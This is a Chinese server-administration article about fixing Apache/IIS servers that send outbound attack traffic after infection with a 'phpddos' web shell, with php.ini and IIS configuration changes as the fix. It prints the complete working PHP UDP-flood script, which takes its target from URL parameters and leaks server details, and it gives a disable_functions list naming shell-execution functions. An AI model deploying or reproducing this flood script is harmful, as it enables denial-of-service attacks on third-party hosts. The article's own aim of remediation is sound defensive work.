> CentOS > CentOS安全 >

CentOS服务器对外发包php(apache/iis)对外发包解决办法

如果你的apache httpd.exe占用大量的内存和cpu的话,根据我的经验你的服务器是中毒了,如果没有中的是phpddos,这个好解决,如果确认是这个问题,下面我们来看解决办法.
利用百度搜索一下午phpddos代码,代码如下
代码如下
  1. <?php
  2. set_time_limit(999999);
  3. $host = $_GET['host'];
  4. $port = $_GET['port'];
  5. $exec_time = $_GET['time'];
  6. $Sendlen = 65535;
  7. $packets = 0;
  8. ignore_user_abort(True);
  9. if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
  10.         if (StrLen($_GET['rat'])<>0){
  11.                 echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER
  12. ['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
  13.                 exit;
  14.             }
  15.         echo "Parameters can not be empty!";
  16.         exit;
  17.     }
  18. for($i=0;$i<$Sendlen;$i++){
  19.         $out .= "A";
  20.     }
  21. $max_time = time()+$exec_time;
  22. while(1){
  23.     $packets++;
  24.     if(time() > $max_time){
  25.         break;
  26.     }
  27.     $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
  28.         if($fp){
  29.             fwrite($fp, $out);
  30.             fclose($fp);
  31.     }
  32. }
  33. echo "Send Host:$host:$port
  34. ";
  35. echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " .
  36. round($packets*$Sendlen/1024/1024, 2) . " mb
  37. ";
  38. echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/
  39. $exec_time*$Sendlen/1024/1024, 2) . " mb/s";
  40. ?>
  41.  
复制代码
这段程序其实简单,我们会发现有这么一句
  1. $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
复制代码
这就是问题所在了,那么为了以后再出来问题,我们先把fsockopen给关了,注意如果你用了phpmailer组件这个关了就不能发邮件了,
关闭fsockopen具体方案如下
打开你的php.ini文件
代码如下
  1. disable_functions = popen,exec,passthru,system,fsockopen,pfsockopen
  2.  
复制代码
重启apache就可以了,但是这样把所有功能都限制了,如果我们只想限制fsockopen可以如下操作.
同样在php.ini里面找到
代码如下 
allow_url_fopen = On
改成
allow_url_fopen = Off
再把
extension=php_sockets.dll
改成
;extension=php_sockets.dll(把fsockopen这个函数屏蔽了.)
重启apache就可以了.
其它参考方案
把你的php.ini设置为安全模式,这个不是什么好办法,不过也讲一下php safe_mode=on 或把set_time_limit超时时间设置为1秒,

如果你是iis服务器可参考如下操作
1)打开Internet 信息服务(IIS)管理器,右键点“我的计算机”——属性,
选上“允许直接编辑配置数据库(N)”,确定.(这一步也可以先停止IIS,然后找到
代码如下 复制代码
  1. C:\Windows\system32\inetsrv\MetaBase.xml)
  2.  
复制代码
2) 用编辑器打开
代码如下 复制代码
  1. C:\Windows\system32\inetsrv\MetaBase.xml.
复制代码
查找关键词为:MinFileBytesPerSec ,将默认值240 修改为0.
查找 ConnectionTimeout  的值修改为 600.
保存退出.

3)重新起动IIS服务

(责任编辑:IT)